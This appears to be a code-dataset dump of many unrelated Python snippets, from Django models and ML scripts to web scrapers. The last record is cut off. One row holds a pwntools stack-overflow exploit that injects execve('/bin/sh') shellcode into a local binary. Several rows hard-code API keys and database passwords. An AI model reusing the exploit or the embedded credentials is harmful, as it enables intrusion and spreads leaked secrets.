index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
9,200 | 54833c19d68bb7a1817639ef761367ce75a3a46f | import numpy as np
import sys
import os
import cv2
if __name__ == "__main__":
# print(sys.argv[1])
# img = cv2.imread(sys.argv[1], 0)
# cv2.imshow('img', img)
# cv2.waitKey(0)
img = np.array([[1, 2], [1, 3], [1, 4]])
print(img.tolist())
sys.stdout.flush()
|
9,201 | 2f6baf4de40224f5a3d00ded35e751184ab59d0d | import doseresponse as dr
import numpy as np
import scipy.stats as st
import numpy.random as npr
import argparse
import itertools as it
# get rid of for real version
import pandas as pd
import os
seed = 1
npr.seed(seed)
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--samples", type=int, help="number... |
9,202 | 0c8b58acf33bdfa95984d29a75ae01e49d0da149 | from __future__ import unicode_literals
from django.db import models
# Create your models here.
class Group(models.Model):
name = models.CharField(max_length=200, db_index=True)
loan_eligibility = models.CharField(max_length=200, db_index=True)
account_number = models.CharField(max_length=200, db_index=Tr... |
9,203 | 6339f5c980ab0c0fb778870196493ddd83963ae7 | from dateutil import parser
from datetime import datetime
from backend.crawler import calender_crawler
from backend.logic.schedule_by_time.schedule_utils import get_weeks_of_subject
from backend.logic.schedule_by_time.schedule_utils import get_time_str
# e.g. hôm nay, hôm qua, ngày mai, thứ 2, thứ tư, chủ nhật, thứ ... |
9,204 | 1e81e0f3cb2fb25fdef08a913aa1ff77d0c2a562 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from machina.apps.forum_conversation.abstract_models import AbstractPost
from machina.apps.forum_conversation.abstract_models import AbstractTopic
from machina.core.db.models import model_factory
from django.dispatch import receiver
from django.db.models... |
9,205 | afa20d7e9c7843a03090c00cc888d44a77fc29f3 | import urlparse
import twitter
import oauth2 as oauth
import re
import urllib
url_checker = dict()
def twitter_auth():
consumer_key = 'IqsuEo5xfTdWwjD1GZNSA'
consumer_secret = 'dtYmqEekw53kia3MJhvDagdByWGxuTiqJfcdGkXw8A'
request_token_url = 'https://api.twitter.com/oauth/request_token'
access_token_... |
9,206 | 83ecb6b6237d7ee61f762b191ebc891521067a41 | from collections import OrderedDict
import torch
from torch import nn, Tensor
import warnings
from typing import Tuple, List, Dict, Optional, Union
class GeneralizedRCNN(nn.Module):
def __init__(self, backbone, rpn, roi_heads, transform):
super(GeneralizedRCNN, self).__init__()
self.transform = t... |
9,207 | 2766339632200c26a8c6cd3abff28b1495870b9a | car_state = False
u_input = input(f'>')
if car_state == True:
print('Car is stopped!')
if u_input == 'start':
car_state = True
print('Car has started!')
elif u_input == 'stop':
car_state == False
print('Car has stopped!')
else:
print('''I don''t understand that...''') |
9,208 | d2c5d306591216e100b5bd8e8822b24fd137d092 | from django.shortcuts import render
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect, HttpResponse
from .models import Document, Organization, UserProfile, Shop
#from .forms import DocUploadForm, ShopEditForm
from django.shortcuts import render_to_response, get_object_or_404
fro... |
9,209 | 7171edc3eecd2f0cdebd914e89a7a7e0353ddf63 | '''code for recursuve binary search '''
def rbinarysearch(l, k, begin, end):
if(begin == end):
if(l[begin] == k):
return 1
else:
return 0
if(end-begin == 1):
if(l[end] == k) or (l[begin] == k):
return 1
else:
return 0
if(end... |
9,210 | 291052c22059b32f3f300c323a10b260fbd0c20f | import mysql.connector
import json
mysql_user = 'root'
mysql_pass = 'funwfats'
mysql_host = 'localhost'
mysql_base = 'sys'
wn8_file = "wn8exp.json"
def fill_wn8_table():
with open(wn8_file, encoding="utf-8") as file:
wn8_dict = json.loads(file.read())
cnx_wn8 = mysql.connector.connect(us... |
9,211 | ff8e8af72a8eb97a392fcfec5960eed7a2e51f68 | # Reference: https://docs.python.org/2/library/unittest.html
import unittest
import sys
sys.path.append('..')
from database_utils import DatabaseUtils
class Test_DatabaseUtils(unittest.TestCase):
def setUp(self):
self.db=DatabaseUtils()
def dataCount(self):
with self.db.connection.cursor()... |
9,212 | c7333d838b87d4c275d9dbb6d7e3047c313b4bc0 | import torch
import torch.nn as nn
from tqdm import tqdm
import torch.nn.functional as F
import torch.multiprocessing as mp
from policy_network import Policy_Network
from util import safe_log
from util import index2word, rearrange_vector_list, get_num_gpus, set_seed
class TestWorker(mp.Process):
def __init__(self,... |
9,213 | edfc8794fab2c95e01ae254f9f13d446faafe6fd | from datetime import datetime
import logging
import os
import re
from bs4 import BeautifulSoup
import requests
from .utils.log import get_logger
logger = get_logger(os.path.basename(__file__))
EVENTBRITE_TOKEN = os.environ['EVENTBRITE_TOKEN']
def get_category_name(page):
if page["category_id"] is None:
... |
9,214 | db20a77778392c84bab50f6d4002dd11b73967b9 | '''
Find the greatest product of five consecutive digits in the 1000-digit number.
73167176531330624919225119674426574742355349194934
96983520312774506326239578318016984801869478851843
85861560789112949495459501737958331952853208805511
12540698747158523863050715693290963295227443043557
66896648950445244523161731856403... |
9,215 | a1ce43c3f64667619c4964bc4dc67215d3ecc1a0 | # -*- coding: utf-8 -*-
import scrapy
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
from scrapy.selector import Selector
from meizi.items import MeiziItem
class MztspiderSpider(CrawlSpider):
name = 'mztspider2'
allowed_domains = ['meizitu.com']
start_urls = [... |
9,216 | 6d362b87b595fc59df31d1f0bb561dc83633a2ac | array_length = int(input())
source = [int(x) for x in input().split()]
def find_neighbors():
previous_zero_index = -1
count = 0
result = []
for index, value in enumerate(source):
count += 1
if value == 0:
if index == 0:
previous_zero_index = 0
... |
9,217 | 8aa9ba145b6c7347a7a926d50dca35383ddd52a3 | import unittest.mock
import assist
import pytest
def test_simple_query():
q = assist.build_query(select='time, value', from_='system_load',
where='L2=\'cpuload\' and time > \'2021-06-16 00:00:00\' and time < \'2021-06-17 00:00:00\' and "name" != \'Idle\'',
gr... |
9,218 | fbbadb5cbd2b324686fc5faa0b1bc6236fc8d87b | import json
import math
import pandas as pd
import datetime
record_file = r"D:\Doc\data\BBOS.log"
all_records = []
with open(record_file, "r") as f:
all_line = f.readlines()
for line in all_line:
record_time = line[line.index("[") + 1: line.index("]")]
record_order = json.loads(line[l... |
9,219 | b779cfc6d6456a370092bf1cfa5904c869b7466a | a = 'Hello, World!'
print |
9,220 | d4b1b6bdf125f2791c219b7db579c234eda0a73c | import datetime
import calendar
import re
def cardinal(ordinal):
return int(''.join([char for char in ordinal if char.isdigit()]))
def meetup_day(year, month, day_of_week, ordinal):
days = {
0: 'Monday',
1: 'Tuesday',
2: 'Wednesday',
3: 'Thursday',
4: 'Friday',
... |
9,221 | 55030648a6b76636e456990c1d2b02baa35a695d | from __future__ import absolute_import, division, print_function, unicode_literals
import tensorflow as tf
import matplotlib as mpl
import matplotlib.pyplot as plt
import numpy as np
import os
import pandas as pd
print('tensorflow version: {}'.format(tf.__version__))
def __prepare_train_data(df, feature):
group... |
9,222 | b3b5f7eeb81e10a51eb0322bc5278d33ee5f8e97 | """updateimage URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-b... |
9,223 | 58b12418a2a6b1ef9b63800b89e7f0b9fffd908c | # Generated by Django 2.2.1 on 2019-06-01 09:56
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Participant',
fields=[
('username', models.... |
9,224 | 276bcb2e90c30f87c618106e5e862f00d082da34 |
from bs4 import BeautifulSoup
import urllib2
import datetime
import re
import csv
import sys
import time
import bb_load as bb_l
import pandas as pd
import requests
#Scrape the web for new buybacks
def scrape_buybacks():
'''
(NoneType) -> scraped_database.csv, database=open('scrape_database.... |
9,225 | 661eef8500309191514fd760b7518014dee2bb5f | #!/usr/bin/env python3
# Copyright (c) 2018 Nobody
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test perforance of descendant package (chained transactions)"""
import time
import copy
from test_framework.test_framework import... |
9,226 | a7cbd595b86908fb399bf11e1522588e0b0475c3 | from time import sleep
import RPi.GPIO as gpio
#GPIO.setmode(GPIO.BCM)
gpio.setwarnings(False)
def init():
gpio.setmode(gpio.BCM)
gpio.setup(26, gpio.OUT)
gpio.setup(19, gpio.OUT)
gpio.setup(13, gpio.OUT)
gpio.setup(6, gpio.OUT)
def turn_left(tf):
gpio.output(26, False)
gpio.output(19, Tru... |
9,227 | 5f089c3e67452fe6d14f96a70d792bc0d056b375 | from . import utils
from . import objects
START = (0, 0)
STARTING_LIFE = 10
WHITE = (255, 255, 255)
class RoughLightGame:
def __init__(self, game_map, width, height, **kwargs):
self.map = game_map
self.width = width
self.height = height
self.objects = kwargs.get('objects', list... |
9,228 | f94fcf6ed54f247093050216c0c331ce188da919 | import tensorflow as tf
import tensorflow_io as tfio
import h5py
class GeneratorVGGNet():
def __call__(self, filename, is_test):
with h5py.File(filename, 'r') as hf:
keys = list(hf.keys())
for key in keys:
if not is_test:
for f, g, z in zip(hf[str(key) + "/left-eye"], hf[str(key) +... |
9,229 | b6dd04219de1d4526d175254da539107362772d6 | #!/usr/bin/python
import os
def main():
os.system("notify-send 'Backup' 'NAS Backup Starting...' -i /usr/share/pixmaps/xarchiver/xarchiver-extract.png ")
os.system("sudo mount -o username='emre' //192.168.1.2/Samba /media/NAS")
os.system("sudo rsync -av --include='.profile' --include='.bash*' --exclude='.... |
9,230 | fcb1285648f6728e3dad31ad4b602fa4e5c5b422 | from datetime import datetime
from app.commands import backfill_performance_platform_totals, backfill_processing_time
# This test assumes the local timezone is EST
def test_backfill_processing_time_works_for_correct_dates(mocker, notify_api):
send_mock = mocker.patch("app.commands.send_processing_time_for_start_... |
9,231 | 865d7c606b287dbce158f721c6cf768cd078eb48 | import collections
import inspect
import struct
from pygments.token import *
import decompil.builder
import decompil.disassemblers
import decompil.ir
class Context(decompil.ir.Context):
def __init__(self):
super(Context, self).__init__(16)
self.pointer_type = self.create_pointer_type(self.half_... |
9,232 | e838a52fecbf69719acc6de38b5f045e792e1408 | print("Hi Tom") |
9,233 | e1172e2d9f20e56241829b3e4ccb4bcf6b5440be | #!usr/bin/python
# -*- coding:utf8 -*-
import time
import random
import asyncio
async def consumer(queue, name):
while True:
val = await queue.get()
print(f'{name} get a val: {val} at {time.strftime("%X")}')
await asyncio.sleep(1)
async def producer(queue, name):
for i in range(20):
... |
9,234 | 43315abf9e096cdca89ed7f4de976d2706ff9c20 |
from nintendo.nex import backend, authentication, friends, matchmaking, common
from nintendo.account import AccountAPI
from nintendo.games import MK8, Friends
import struct
import logging
logging.basicConfig(level=logging.INFO)
#Device id can be retrieved with a call to MCP_GetDeviceId on the Wii U
#Serial number ca... |
9,235 | b77c40c89c88b49c851e9a14c67cf0799d6de847 | # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to us... |
9,236 | 8db90b0bfde61de1c4c1462bc3bcf05ef9056362 | /Users/medrine/anaconda/lib/python2.7/UserDict.py |
9,237 | 48294209d51fbe4dfb2a5130311a10c8a1dd027c | # -*- coding:Utf-8 -*-
from .game_action_manager import GameActionManager
from .menu_action_manager import OptionsActionManager, CharacterSelectionActionManager, MainMenuActionManager
|
9,238 | f45cae397aa3b7bdba6e3f36e20b926487cb160d | def main():
s1 = 'mabaabm'
s2 = 'moktko!'
s3 = ex7(s1, s2)
print(s3)
def ex7(in1, in2):
out1 = in1[0]+in1[int(len(in1)/2)]+in1[int(len(in1)-1)]+in2[0]+in2[int(len(in2)/2)]+in2[int(len(in2)-1)]
return out1
if __name__ == '__main__':
main()
|
9,239 | 5fd34c698c2060d5399ba43f6746527961aa574b | def solution(a, b):
answer = 0;
for i in range(0,len(a)):
answer+=a[i]*b[i];
print(answer);
return answer
solution([1,2,3,4],[-3,-1,0,2]); |
9,240 | efe099bc5cd0319ffefd779f1e854f1a60edc5fa | import numpy as np
class RandomPlayer:
def __init__(self, game):
self.game = game
def play(self, board):
a = np.random.randint(self.game.getActionSize())
valids = self.game.getValidMoves(board, 1)
while valids[a] != 1:
a = np.random.randint(self.game.getActionSize(... |
9,241 | 381d3f0890a2916d2e0a21a6a47a5f87afde622d | r, n = map(int, input().split())
if r == n:
print("too late")
else:
l = list(range(1, r+1))
for _ in range(n):
l.remove(int(input()))
print(l[0])
|
9,242 | 98a384392d0839ddf12f3374c05929bc5e32987b | #coding=utf-8
i=1
s=0
while s<=8848:
s=s+(2**i)*0.2*10**(-3)
i=i+1
print '对折次数:',i
|
9,243 | 26f486131bdf514cd8e41f75d414fe647eaf1140 | from typing import Union, Tuple
import numpy as np
from dispim import Volume
def extract_3d(data: np.ndarray, center: np.ndarray, half_size: int):
"""
Extract an area around a point in a 3d numpy array, zero padded as necessary such that the specified point is at the
center
:param data: The numpy a... |
9,244 | 2387856757ad1c3ff911cf2a7537ca6df7786997 | # -*- coding: utf-8 -*-
"""
Created on Mon Jan 25 12:07:32 2021
@author: yashv
"""
import numpy as np
X= [0.7, 1.5]
Y= [3.9,0.2]
def f(w,b,x): #sigmoid logistic function
return 1.0/(1.0 + np.exp(-(w*x +b)))
def error(w,b): #loss function
err=0.0
for x,y in zip(X,Y):
fx= f(w,b,... |
9,245 | 47119f46cdbbb7306aef8237d4f56f0f10690ae4 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys,os,traceback
from PIL import Image
class ResizeImageBuilder:
def __init__(self):
# print(self.__class__)
pass
def setOriginImagePath(self, filePath):
try:
img = Image.open(filePath)
# img = img.convert('R... |
9,246 | 5feea24d269409306338f772f01b0ee1d2736e2e | from django.shortcuts import render
from django.views.generic import View
from django.http import JsonResponse
from django_redis import get_redis_connection
from django.contrib.auth.mixins import LoginRequiredMixin
from good.models import GoodsSKU
class CartAddView(View):
'''添加购物车'''
def post(self,request):
... |
9,247 | a7f082737bf476a4bc6a40c962764c05bed9ee14 | import sqlite3
forth = sqlite3.connect('databaserupin.db')
sql = "SELECT * from rupin;"
curforth = forth.cursor()
curforth.execute(sql)
result = curforth.fetchall()
for record in result:
print(record) |
9,248 | 10937ee1e48d23b12b76a2abc44ee8bd0647aef5 | #determines where the robot is located.
def sense(p, Z, colors, sensor_right):
#initialization
q = []
pHit = sensor_right;
pMiss = 1 - sensor_right;
#number of rows
m = len(colors)
#number of columns
n = len(colors[0])
#sum
s = 0
for i in range(m):
temp = []
... |
9,249 | 4c79dcf394acbcc9a636bcc9b0aac13a2bafc7e3 | import scrapy
from scrapy.loader import ItemLoader
class BlogSpider(scrapy.Spider):
name = 'blogspider'
start_urls = ['https://blog.scrapinghub.com']
def content_title_parser(self, mystr):
return mystr[0].split(' ')[3]
def parse(self, response):
for url in response.css('ul li a::attr... |
9,250 | 4e4d6a9ed07aa03c79dade05e01f226017b13de5 | import unittest
from theoktany.serializers import serialize
class SerializerTest(unittest.TestCase):
class TestObject(object):
def __init__(self, **kwargs):
for name, value in kwargs.items():
self.__setattr__(name, value)
def test_serialize(self):
object_dict = {... |
9,251 | 671ecf23df1da659d186014afa738d0608ad404d | import requests
def get(url):
return requests.get(url).text
|
9,252 | cf70d6064fd4a43bc17cd852aaf04afade73d995 | #inject shellcode
from pwn import *
shellcode =p32(0x8049000+0x4)\
+asm("mov eax,SYS_execve")\
+asm("xor ecx,ecx")\
+asm("xor edx,edx")\
+asm("mov ebx,0x8049014")\
+asm("int 0x80")\
+"/bin/sh"
r=process("./stack0",aslr=True)
r.sendline('A'*(0x4c)+p32(0x8049000-0x4)+p32(0x804840c)+p32(0x8049000))
r.sendline(shellcode)... |
9,253 | a3d27561488c38e1256eb33abad108ad42081eb6 | from django.core.management.base import BaseCommand
from journal.models import Journal
from article.models import ArticleCoverSetting
from django.conf import settings
import os
class Command(BaseCommand):
def handle(self, *args, **options):
print('Loading article settings')
ArticleCoverSetting.o... |
9,254 | cc6d18785eff0406ff7f38f18f15476375e31b76 | import re
import gpxpy
def extract_gpx_data(gpx_file_path, attribute='elevation'):
"""Reads in a GPX file and returns a list of values
for a specified GPX attribute.
Parameters
----------
gpx_file_path : str
File path to the GPX file (.gpx extension).
attribute: str
Name of t... |
9,255 | ba34dfcad0cb9bac9c462bdf60e55dee6ba9d58d | import requests
import os
from dotenv import load_dotenv
from datetime import datetime
load_dotenv(".env") # loads the environment file
USERNAME = os.getenv("USER")
TOKEN = os.getenv("TOKEN")
pixela_endpoint = "https://pixe.la/v1/users"
# MAKING AN ACCOUNT
user_params = {
"token": TOKEN,
... |
9,256 | 4f5f4aadfeabb13790b417b334c5f73c6d0345a7 | from queue import Queue
class Stack:
def __init__(self):
self.q1 = Queue()
self.q2 = Queue()
def empty(self):
return self.q1.empty()
def push(self, element):
if self.empty():
self.q1.enqueue(element)
else:
self.q2.enqueue(element)
... |
9,257 | 0f74e0f0600c373c3ddd470f18dbb86cf213fb58 | #!/usr/bin/env python
import argparse
import sys
import os
import cmudl.hw2p2 as hw2p2
class CLI(object):
def __init__(self):
parser = argparse.ArgumentParser(
description='CMU Deep Learning Utilities',
)
parser.add_argument('command', help='Subcommand to run')
# p... |
9,258 | cec772f1e470aae501aa7c638ec4cbb565848804 | def solution(num):
if num < 10:
num = str(num) + str(0)
else:
num = str(num)
cycle_val = 0
new_num = ""
temp_num = num[:]
while new_num != num:
sum_num = int(temp_num[0]) + int(temp_num[1])
new_num = temp_num[-1] + str(int(temp_num[0]) + int(tem... |
9,259 | fb26337be29ce06674ca2cb2a82eaff7624aa17f | class User:
def __init__(self, username, password):
self.username = username
self.password = password
def __str__(self):
return 'Credentials: ' + self.username + ' - ' + self.password
def login(self):
print('Login done by "%s".' % self.username)
felipe = User(username='fe... |
9,260 | f22836fc4fed22d833755db0ff34502170260766 | # -*- coding: utf-8 -*-
"""
Created on Thu May 3 09:12:11 2018
@author: shen1994
"""
import codecs
import numpy as np
def create_documents():
""" 按标点符号或是空格存储文件 """
documents_length = 0
chars,labels = [],[]
chars_file = codecs.open("data/data.data", 'w', 'utf-8')
labels_file = codecs.open("data/... |
9,261 | 65bcb4a2fbc05ee19c8a94811d369562ec5e72ff | from pulp import *
from collections import namedtuple
import networkx as nx
import itertools
from mcfpox.controller.lib import Flow, Hop
def get_host_from_ip(G, ip):
return next((i for i in G.nodes() if G.node[i].get('ip') == str(ip)), None)
# https://docs.python.org/2/library/itertools.html#recipes
def pairwis... |
9,262 | 0dcf90514543a1ca801e82cd402b3e1002b1f5d0 | # aitoff projection
# see:
# https://en.wikipedia.org/wiki/Aitoff_projection
def aitoff_projection(theta, phi):
import numpy as np
# theta, phi in radian
theta = theta - np.pi
cos_phi = np.cos(phi)
denom = np.sqrt(1 + cos_phi * np.cos(theta/2))
x = 180 * cos_phi * np.sin(theta/2) / denom
x =... |
9,263 | 3471f02f507104202c1e49440172f120ba17730f | from FluidStream import *
# List of chemicals and their constant properties
CHEMICALS_KEY_GUIDE = ['MW' , 'Density']
CHEMICALS = {
'Bacteria' : ['NA' , 1.05 ],
'Calcium Carbonate' : [100.087 , 2.71 ],
'Calcium Lactate' : [218.22 , 1.494 ],
'Corn Steep Liquor' : ['NA' , 1.2326],
'Glucose' : [180.156 ,... |
9,264 | 2c1ea45d3c7ee822ec58c2fadaf7fc182acc4422 | # Generated by Django 2.1 on 2018-12-09 21:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='replays',
name='id',
),
mi... |
9,265 | fa948838b5c2d688fe8c748166f23ffc8e677f93 | columns = ['account',
'name',
'Death',
'archetype',
'profession',
'elite',
'phases.All.actual_boss.dps',
'phases.All.actual.dps',
'phases.All.actual_boss.flanking',
'phases.All.actual_boss.scholar',
'phases.All... |
9,266 | 7fc239e7f44c5f6a8e5bebe3e4910aee4d8e4af3 | from django.test import TestCase
# Create your tests here.
def Add_course(self,user):
|
9,267 | 7cfbc36cc6cd6ff7c30f02d979667448f2003546 | def solution(n):
answer = []
for i in range(1,n+1):
if n % i == 0:
answer.append(i)
return sum(answer)
def solution2(n):
return sum([i for i in range(1,n+1) if n % i == 0])
print(solution(12))
print(solution(5))
print(solution2(12))
print(solution2(5))
# n return
# 12 28
# 5 6 |
9,268 | 2fd33439d4403ec72f890a1d1b4f35f2b38d033b | from enum import unique
from django.db import models
import secrets
import string
CARD_PACK_CHOICES = (
('1', 'Traditional Cards'),
('2', 'Special Cards'),
('3', 'Other Themed Cards')
)
MARKER_CHOICES = (
('1', 'Plastic Dots'),
('2', 'Quarters'),
('3', 'Beans')
)
def generate_game_code() -> ... |
9,269 | 08c5f5ac568b7575d8082976336a5893951b53c2 | import cv2 as cv
import numpy as np
img=np.zeros((512,512,3),np.uint8)
cv.line(img,(0,0),(511,511),(255,255,255),10)
cv.rectangle(img,(384,0),(510,128),(255,0,0),3)
cv.circle(img,(200,60),20,(0,100,255),3)
cv.ellipse(img,(250,250),(100,50),90,0,180,(255,0,255),3)
font=cv.FONT_HERSHEY_SIMPLEX
cv.putText(img,'OpenCV',(10... |
9,270 | b815f72e2cad351fd9411361a0e7cc75d39ae826 | class Solution:
def eventualSafeNodes(self, graph: List[List[int]]) -> List[int]:
res = []
d = {}
def dfs(node):
if graph[node] == []:
return True
if node in d:
return d[node]
if node in visit:
return False
... |
9,271 | 84c3427a994bd6c57d9fa8449e4fc7a3de801170 | import json
import time
from pytest_influxdb.data_manager import DataManager
class SuiteResultDTO:
__run = 'UNDEFINED'
__project = 'UNDEFINED'
__version = 'UNDEFINED'
__passed = None
__failed = None
__skipped = None
__error = None
__duration_sec = 0
__disabled = 0
__retries = ... |
9,272 | e3ba6395a8d7272fc7e5a8be37e6b0b18c355e14 | from rest_framework import serializers
from api.models.Phones import Phones
class PhoneSerializer(serializers.ModelSerializer):
class Meta:
model = Phones
fields = (
'id', 'number', 'area_code', 'country_code'
)
|
9,273 | d70986b016e58877c39bfbb76c5bd622c44cbca9 | from collections import namedtuple
from math import tau, sin, cos, atan2
grid = 21
c = grid / 2
points = grid**3
Velocity = namedtuple('Velocity', ('x', 'y', 'z'))
velocity = []
for k in range(grid):
for j in range(grid):
for i in range(grid):
x = (i / grid + 0.25) * tau
y = (j /... |
9,274 | 34f79fa3de68b53f19220697815e5bae5270d056 | # Generated by Django 2.1.4 on 2019-01-11 11:58
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('devisa', '0021_auto_20190110_1256'),
]
operations = [
migrations.RemoveField(
model_name='entidade',
name='bairro',
... |
9,275 | 9cd1cb84c457db64019fa542efcf6500aa8d6d42 | '''
Aaditya Upadhyay
oooo$$$$$$$$$$$
oo$$$$$$$$$$$$$$$$$$$$$$$o
oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$
o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $o$
oo $ $ "$ o$$$$$$$$$ $$$$$$$$$... |
9,276 | 58eef45f8827df02c0aa0ac45eafa77f70f81679 | # Makes use of the scholar.py Google Scholar parser available here:
# https://github.com/ckreibich/scholar.py
# to run a list of citations collected from other sources (PubMed, PsychINFO, etc.) through
# Google Scholar to return a consistent format and saved as a .csv file.
# This can be imported into a spreadsheet for... |
9,277 | 17781ae5e9c72232fbc11c7eda7daeaeb0fa3670 | from .models import CNNClassifier, load_weights, LastLayer_Alexnet, classes, MyResNet
from .transforms import image_transforms, tensor_transform
from .utils import newest_model, Dataset, load_data
|
9,278 | 91cef72962332e7efcc86f1b19da4382bd72a466 | import subprocess
import re
class Command:
InputSize = 1
OutputSize = 2
MultiThreadable = True
ShareResources = False
def __init__(self, bin, config, showerr=False):
self.travatar = subprocess.Popen([bin, "-config_file", config, "-trace_out", "STDOUT", "-in_format", "egret", "-buffer", "... |
9,279 | 572a9da5edcff3ff5ca0a37f982432f9712dc58c | #!/usr/bin/python
#MTU Server
from config import *
from pymodbus.client.sync import ModbusTcpClient
import time
import numpy as np
import logging
from sklearn.decomposition import PCA
import matplotlib.pyplot as plt
import matplotlib.animation as anim
logging.basicConfig()
log = logging.getLogger()
log.setLevel(loggin... |
9,280 | 9e9303d58c7e091bf7432060fad292c16ecf85ee | import torch
import torch.nn as nn
from torch.nn import functional as F
class FocalLoss1(nn.Module):
def __init__(self, alpha=0.25, gamma=2, reduction='mean', ignore_lb=255):
super().__init__()
self.alpha = alpha
self.gamma = gamma
self.reduction = reduction
self.ignore_lb ... |
9,281 | ed85cb61f4bc8bf758dafb10ffbabf87fb4521d0 | #!/usr/bin/env python
import sys
total = 0
for line in sys.stdin:
edges = [int(x) for x in line.split("x")]
edges.sort()
ribbon = sum(x * 2 for x in edges[:2])
l, w, h = edges
bow = l * w * h
total += bow + ribbon
print(total)
|
9,282 | aac9960dafc9e8d3a5670251fcc54eb8e34d4458 | from multiprocessing import Process, Pipe
from time import sleep
from os import getpid
def ponger(pipe, response):
while True:
msg = pipe.recv()
print(f"{getpid()} receiving: {msg}")
sleep(1)
pipe.send(response)
if __name__ == '__main__':
ping_conn, pong_conn = Pipe()
Pr... |
9,283 | 1bf9785135f6105301d02602e54cbbcbdd249144 | import re, os, nltk, pymorphy2, sys
from suffix_trees.STree import STree
def make_rules(folder):
rules_dictionary = {}
try:
path = os.path.join(os.getcwd(), 'rules', 'data', folder)
files = os.listdir(path)
except:
path = os.path.join(os.getcwd(), 'data', folder)
files = os... |
9,284 | 81fa3129d971fe8296a89a7b772d61ff50a8b9f7 | from game import BaseGame
class First(BaseGame):
key = 'F'
code = 'FIRST'
short_description = 'Vinci se esce 1 o 2. x2.8'
long_description = (
'Si lancia un unico dado, se esce 1 o 2 vinci 2.8 volte quello che hai'
' puntato.')
min_bet = 20
multiplier = 2.8
def has_won(sel... |
9,285 | 866571341a587c8b1b25437f5815429875bbe5ad | import thread
import time
import ctypes
lib = ctypes.CDLL('/home/ubuntu/workspace/35SmartPy/CAN/brain/CANlib.so')
init = lib.init
read = lib.readGun
read.restype = ctypes.POINTER(ctypes.c_ubyte * 8)
send = lib.sendBrake
init()
|
9,286 | 80b8b77498f915a85185f829e8c7d5becdab8068 | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from .document import ParsedDocument,XmlDocument
from .corenlp import StanfordCoreNLP
from .annotation import KBPAnnMgr,ApfAnnMgr
import os
import codecs
import sys
from . import _list_files
def _sequence_tag_bio(doc):
outlines = u''
mentions= doc._... |
9,287 | 8efee4ad16e938e85a500e5aebf5154b5708b277 | from graph import Graph
import ast
import itertools
def add_nodes(g):
nodes = ['a', 'b', 'c', 'd']
for n in nodes:
g.add_node(n)
def add_desc(g):
desc = [('b', 'a'), ('b', 'c'), ('d', 'c')]
for d in desc:
g.add_desc(d)
def add_edges(g):
edges = [('b', 'a'), ('b', 'c'), ('d', '... |
9,288 | 97b94f3388a6e2473d43e3c4c4e281a86a031dbb | #!/usr/bin/python
# -*- coding: UTF-8 -*-
def parse(node, array):
string = ''
string += "\t%s = ScrollView:create();\n" % node
if (array.get('IsBounceEnabled') != None and array['IsBounceEnabled']):
string += "\t%s:setBounceEnabled(true);\n" % node
if (array.get('InnerNodeSize') != None):
... |
9,289 | 73058bd9533ef6c0d1a4faf96930077147631917 | # This script runs nightly to process users' preinstall history
# no it doesn't, you liar
from bson.objectid import ObjectId
import ConfigParser
import os
from text_processing.textprocessing import start_text_processing_queue
from pymongo import MongoClient
import time
from os import listdir
from os.path import isfile,... |
9,290 | 051062a78d3f8b0caefd15f7a57a8500ddc019a6 | import unittest
from HTMLTestRunner import HTMLTestRunner
discover = unittest.defaultTestLoader.discover(start_dir='./',
pattern='test*.py',
top_level_dir=None)
f = open('report.html', 'wb+')
runner = HTMLTestRunner(stream=f,... |
9,291 | 89518f43934710ef2e7471a91128e20d2306d6f6 | from django.shortcuts import render_to_response
from mousedb.animal.models import Animal, Strain
from django.contrib.auth.decorators import login_required
from django.template import RequestContext
from django.db import connection
import datetime
@login_required
def todo(request):
eartag_list = Animal.objects.filter(... |
9,292 | 5d9ace3b6c5b4e24fc3b20b5e5640f2fcdb252bb | # Stubs for torch.nn.utils (Python 3)
#
# NOTE: This dynamically typed stub was automatically generated by stubgen.
from .clip_grad import clip_grad_norm, clip_grad_norm_, clip_grad_value_
from .convert_parameters import parameters_to_vector, vector_to_parameters
from .spectral_norm import remove_spectral_norm, spectr... |
9,293 | b1fbc8f3616b70e5d35898fd895c37e838c87dc9 | # -*- coding: utf-8 -*-
"""
Created on Tue Dec 31 05:48:57 2019
@author: emama
"""
import datetime as dt
t = dt.datetime.today()
print(t) |
9,294 | 7d3d4476343579a7704c4c2b92fafd9fa5da5bfe | import socket
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('localhost', 9999))
clientsocket.send('hallooooo')
|
9,295 | 12dc248a95a84603065e23ce8fd33163bfcd2d3e | __author__ = 'gaa8664'
import pymssql
class Connection:
def __init__(self):
self.connection = pymssql.connect(server = 'gditsn033\SQLPROD', database='ProdigiousDB', user='sa', password='sgrh@2016')
def __enter__(self):
self.cursor = self.connection.cursor()
return self.cursor
de... |
9,296 | 654adc9b77bbad6ba36dd42125e69e1a4ad1312d | import random
import time
import unittest
from math import radians
from maciErrType import CannotGetComponentEx
from DewarPositioner.positioner import Positioner, NotAllowedError
from DewarPositioner.cdbconf import CDBConf
from Acspy.Clients.SimpleClient import PySimpleClient
from DewarPositionerMockers.mock_components... |
9,297 | 5fa9c9908d4aea507cf0ca8287a6b8e5b391470a | import configparser
import shutil
def get_imagemagick_path():
config = configparser.ConfigParser()
config.read("settings/settings.ini")
